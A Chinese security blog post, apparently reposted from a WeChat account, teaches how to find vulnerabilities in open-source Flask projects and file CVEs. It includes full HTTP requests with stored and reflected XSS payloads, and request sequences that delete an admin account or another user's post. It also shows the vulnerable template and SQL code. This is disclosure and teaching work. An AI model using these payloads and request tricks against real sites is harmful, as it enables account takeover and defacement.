CVE挖掘思路和申请步骤

admin 2025年2月21日23:17:29评论26 views字数 11559阅读38分31秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:39920

声明:仅供学习参考,请勿用作违法用途

目录

  • 前记
  • 资产收集
  • 漏洞挖掘
    • 黑盒挖掘
    • 白盒挖掘
  • CVE申请/公开流程

前记

CVE编号获取步骤:

  1. 资产收集
  2. 黑/白盒挖掘
  3. 编写漏洞详情
  4. 申请CVE编号
  5. 编写公开申明
  6. 申请CVE公开

资产收集

Github搜索语法参考如下,选择关键词和要挖掘的编程语言,筛选近期有更新的并且有一定stars的项目

blog language:Python pushed:>2023-01-01 stars:>200flask system language:Python pushed:>2023-01-01 stars:>200

漏洞挖掘

以flask框架开发的某博客项目为例展示挖掘思路

黑盒挖掘

存储型XSS

发布文章,分别在postContent、postTags、postTitle放入恶意payload

POST /createpost HTTP/1.1Host: 192.168.1.9:5000Content-Length: 1224Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJCKdPQGF4EbeiOJCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/createpostAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJwty00OQDAQhuG7zNpCiyiHsHABmRkzJPWTaG2Iu6vE7nve5LuBw6FD3L1s0AK7mlRUKzIOUbjKTSlaos2JtDDU2LpwPI6QwYLbdOIk6XXNyWeQo8P1c5QQeV8E_d_7hNS_Cc8LYHIlYQ.Z6gwDg.4g8hrP5pUUC_44iK8fQsTDscV_IConnection: close------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="csrf_token"ImM4N2JmZWZmNWIxOGFhZWM1MDE0ZWY0YTIwYmJmMzFiOTI3MzhjZGQi.Z6gwEA.WUBAoVlyQLvpS4oAs5E69mLvbyM------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postTitle"<img src=x onerror=alert(1)>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postTags"<img src=x onerror=alert(2)>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postBanner"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postCategory"Apps------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="postContent"<p><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)><img src=x onerror=alert(3)></p>------WebKitFormBoundaryJCKdPQGF4EbeiOJCContent-Disposition: form-data; name="files"; filename=""Content-Type: application/octet-stream------WebKitFormBoundaryJCKdPQGF4EbeiOJC--

三处均可触发XSS

任意账户删除

以删除管理员用户admin为例,先注册任意账户,修改用户名为admiN

POST /changeusername HTTP/1.1Host: 192.168.1.9:5000Content-Length: 120Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/changeusernameAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJyrVkouLkqLL8nPTs1TslIyMk9MTjawTDVJNTIzSDFNNU82t7RIMzUzTTIyTDFJTjRIM05JSjFOUtJRyknMSy9NTE8F6qrKAPJLi1OL_BJzQfzk_JzUxGyoWBCQAxQDMZVqAY6OIxY.Z6gfDg.Pk4Kzk0p0KlUdPstEFzgI6OwzJ4Connection: closecsrf_token=IjI3YWNjMDllNGUyNjBkNWU3Yzc5OGY1NjViMjFkNGNhMGYzZGJkM2Ii.Z6gfFQ.kwiX_a_JhEHtsj6ufu6hbDyCY50&newUserName=admiN

查看sqlite3数据库log如下,成功改名为admiN

[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  Connecting to 'db/users.db' database[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  select userName from users where userName = 'admiN'[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  BEGIN[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  update users set userName = 'admiN' where userName = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  COMMIT[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  BEGIN[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  update posts set Author = 'admiN' where author = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  COMMIT[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  BEGIN[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  update comments set user = 'admiN' where user = 'coleak'[09.02.25 | 11:21:53 | 中国标准时间]  DATABASE  COMMIT[09.02.25 | 11:21:53 | 中国标准时间]  SUCCESS   User: "coleak" changed his username to "admiN"

点击删除账户

POST /accountsettings HTTP/1.1Host: 192.168.1.9:5000Content-Length: 102Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/accountsettingsAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJyrVkouLkqLL8nPTs1TslIyMEtOM0m0NLQwNbFMsTAzSjFNNDMDMizNTM3NzRONLVKSU4wMzVOUdJRyEvPSSxPTU4G6qjKA_NLi1CK_xFwQPzElN9MPKhSUnwMSAjGVagEgJSGU.Z6gt5A.LavL6foC_VRyh_PEXgIoBoegP-AConnection: closecsrf_token=IjA2Y2Y0YTkxODU0OWQ4NjJkNWE2NmQ4Njk2NTc3N2EzOGRjZDIxN2Qi.Z6gt8g.Ta9_tSfflbdrDzLT4EXpjUZX6D0

查看查看sqlite3数据库log如下:

[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  Connecting to 'db/users.db' database[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  select userName from users where userName = 'admiN'[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  Connecting to 'db/users.db' database[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  select * from users where lower(userName) = 'admin'[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  select role from users where userName = 'admiN'[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  BEGIN[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  delete from users where lower(userName) = 'admin'[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  update sqlite_sequence set seq = seq-1[09.02.25 | 12:25:12 | 中国标准时间]  DATABASE  COMMIT[09.02.25 | 12:25:12 | 中国标准时间]  SUCCESS   User: "admiN" deleted

删除逻辑为delete from users where lower(userName) = 'admin',此时通过改名admiN并自删除账户成功将管理员账户admin删除

任意文章删除

点击删除一篇自己的文章并抓包,逻辑为发送post请求到/post/{postTitle},其中postTitle为任意文章标题,这里在bp中将其修改为别人的文章red-dead-redemption-2-a-masterpiece-in-the-world-of-gaming-b6f357785b37 ,成功删除

POST /post/red-dead-redemption-2-a-masterpiece-in-the-world-of-gaming-b6f357785b37 HTTP/1.1Host: 192.168.1.9:5000Content-Length: 120Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.9:5000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.1.9:5000/post/test-e720370f494fAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: darkMode=false; session=.eJwty00OQDAQhuG7zNpCiyiHsHABmRkzJPWTaG2Iu6vE7nve5LuBw6FD3L1s0AK7mlRUKzIOUbjKTSlaos2JtDDU2LpwPI6QwYLbdOIk6XXNyWeQo8P1c5QQeV8E_d_7hNS_Cc8LYHIlYQ.Z6gzmQ.gbTc_haEntB5fahGESiX1zpXv6gConnection: closecsrf_token=ImM4N2JmZWZmNWIxOGFhZWM1MDE0ZWY0YTIwYmJmMzFiOTI3MzhjZGQi.Z6gzuA.LI1Kf9aKj5G0A2PO2ZydGwXfoFM&postDeleteButton=

白盒挖掘

存储型XSS

搜索|safe,发现postCardMacro.html.jinja和dashboard.html.jinja均存在下面代码端

<!-- Post Content --><divclass="text-base px-2 overflow-y-hidden h-[7.5rem]">    {{ post[3]|safe }}</div>

其中postCardMacro.html.jinja还被index.html继承,查看dashboard.html.jinja发现是由dashboard.py渲染,代码如下

                    connection = sqlite3.connect(DB_POSTS_ROOT)                    connection.set_trace_callback(                        Log.sql                    )  # Set the trace callback for the connection                    cursor = connection.cursor()# Query the posts database for the posts authored by the session user name                    cursor.execute("""select * from posts where author = ? order by timeStamp desc""",                        [(session["userName"])],                    )                    posts = cursor.fetchall()return render_template("/dashboard.html.jinja",                        posts=posts,                        comments=comments,                        showPosts=showPosts,                        showComments=showComments,                    )

这里post[3]在数据库中是content,发送一篇文章,内容填写恶意payload,访问http://192.168.1.9:5000/dashboard/admin,成功触发XSS

另外还有post.html.jinja中存在如下代码,这也是上面文章详细页中三处都能XSS的原因

  <!-- Post Content -->  <p>{{ content | safe }} <br /></p>

用户名泄露

在search.py里面存在下面代码

@searchBlueprint.route("/search/<query>", methods=["GET", "POST"])defsearch(query):# Replace the %20 and + characters in the query with spaces    query = query.replace("%20"" ")    queryNoWhiteSpace = query.replace("+""")    queryUsers = cursor.execute("""select * from users where userName like ? """,        [            ("%" + queryNoWhiteSpace + "%"),        ],    ).fetchall()

通过前端将头像和用户名输出

  {% for user in users %}  {% for user_data in user %}<!-- User result card --><divclass="w-fit my-2 mx-auto flex items-end border-2 rounded-md shadow-md border-gray-500/25"><imgsrc="{{ user_data[4] }}"class="w-20 m-2" /><ahref="/user/{{ user_data[1]|lower }}"class="m-2 text-rose-500 hover:text-rose-600 duration-150 font-medium">{{      user_data[1]      }}</a>

这里query输入为%或者_即可获取所有完整的用户名

CVE挖掘思路和申请步骤

当然直接渲染用户输入的 query 到模板还存在反射型xss,这里不细说,直接访问如下链接即可触发http://192.168.1.9:5000/search/%3Cimg%20src=x%20onerror=alert(1)%3E

当然还有小问题,比如没显式地关闭数据库连接,建议如下:

try:    connection = sqlite3.connect(DB_USERS_ROOT)# 执行操作finally:    connection.close()#或者with sqlite3.connect(DB_USERS_ROOT) as connection:    cursor = connection.cursor()# 执行查询

账户登录逻辑错误

cursor.execute("""select * from users where lower(userName) = ? """,                                [(userName.lower())],                            )                            user = cursor.fetchone()

用户A账户名为admiN,B用户账户名为Admin,如果A先注册,则即使B输入自己正确的密码也无法登录因为数据库优先匹配先注册的A的密码,而如果AB密码相同,则B用户输入自己的用户名Admin只能登录到A的账户

任意账户删除

上面黑盒也挖到了,这里看看后端处理逻辑,通过小写用户名确定删除对象

 cursor.execute("""delete from users where lower(userName) = ? """,  # Delete the row from the users table where the lowercased userName column matches the lowercased given userName            [                (userName.lower())            ],  # Use the lowercased version of the userName and a parameterized query to avoid SQL injection        )

CVE申请/公开流程

以之前申请的CVE为例展示申请和公开流程以及报告格式

1、编写漏洞详情

在Github发起issues,格式参考如下,黑盒提供POC,白盒提供产生漏洞的关键源码

https://github.com/DogukanUrker/flaskBlog/issues/130https://github.com/yandaozi/PPress/issues/4

2、提交CVE申请

访问https://cveform.mitre.org/选择Report Vulnerability/Request CVE ID并填写表单,审核通过后会发送邮件如下,告知你CVE编号和漏洞发现者等信息

CVE挖掘思路和申请步骤

3、编写公开声明

访问https://gist.github.com/新建一个文本描述漏洞详情,格式可参考如下

https://gist.github.com/coleak2021/512acaa12ba0987499d560967acff1d1
[CVE-ID]cve-2025-25973[PRODUCT]PPress v0.0.9[TYPE]Stored XSS[DESCRIPTION]A stored xss vulnerability exists in the related recommendations feature, where title, category, tags can all trigger stored xss[DETAILS]A stored Cross-Site Scripting (XSS) vulnerability has been identified in the "related recommendations" feature of the affected application. The vulnerability allows attackers to inject malicious scripts via the article.title, article.category, and article.tags parameters. These scripts are stored persistently and executed when users interact with the compromised recommendations, leading to arbitrary code execution in the victim’s browser.Root Cause: The render_recommendations functionin the init.py code of article_recommender is defined by Markup(render_template_string(template)) and{% if render_recommendations is defined %}{{ render_recommendations()|safe }}{% endif %}rendering recommendations.html to article.html, the renderArticleCard in the recommendations.js code will display article.tags, article.category and article. title, these three variables lead to stored xss, which will be triggered when these three parameters are malicious payloads in the related recommendations article[Mitigation & Fix Recommendations]1.Input Validation & Sanitization:Sanitize title, category, and tags fields on input (e.g., strip HTML tags, enforce character whitelists).2.Output Encoding:Replace |safe with context-aware escaping (e.g., Flask’s autoescape=True, Jinja2 {{ variable | e }}).Ensure renderArticleCard in JavaScript encodes dynamic content using textContent or innerText instead of innerHTML.3.Content Security Policy (CSP):Implement a strict CSP header to block inline scripts (unsafe-inline).[MORE]https://github.com/yandaozi/PPress/issues/4

4、申请公开CVE

继续访问https://cveform.mitre.org/选择Notify CVE about a publication并提交表单

审核完成并公开CVE,此时官网可以查询到CVE对应的漏洞详情

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25973

原文始发于微信公众号(渗透测试安全攻防):CVE挖掘思路和申请步骤

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月21日23:17:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE挖掘思路和申请步骤https://cn-sec.com/archives/3767105.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息